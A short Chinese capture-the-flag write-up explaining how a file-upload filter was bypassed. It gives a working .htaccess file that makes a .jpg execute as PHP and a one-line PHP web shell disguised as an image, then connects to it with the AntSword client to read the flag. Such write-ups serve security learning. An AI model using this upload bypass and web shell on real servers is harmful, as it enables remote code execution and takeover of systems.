页面内容:
在上传文件时,发现 png 后缀名都被过滤了,只能用 jpg ;
此外过滤了 PHP 文件的标志:<?php ,<? ;
后缀名不能带有 ph ;
fuzz 了一下,发现后缀名 .htaccess 没被过滤。
后面的我没测了,直接给出我用的文件内容:
<FilesMatch "eval.jpg">
SetHandler application/x-httpd-php
AddHandler php5-script .jpg
</FilesMatch>
设置同一目录下的 eval.jpg 被当作 PHP 代码执行。
BM
<script language="php">@eval($_POST['shell']);</script>
关于这段代码的解释可以去看:
上传顺序随意,htaccess.jpg 文件在上传时要抓包,将文件名改为 .htaccess(必须一模一样):
eval.jpg 文件直接上传。
路径中的那一大串字符看似随机,其实每个文件都是一样的,目录不变,这样 .htaccess 才会发挥作用。
直接用蚁剑去连 eval.jpg 文件的路径,flag 在根目录下: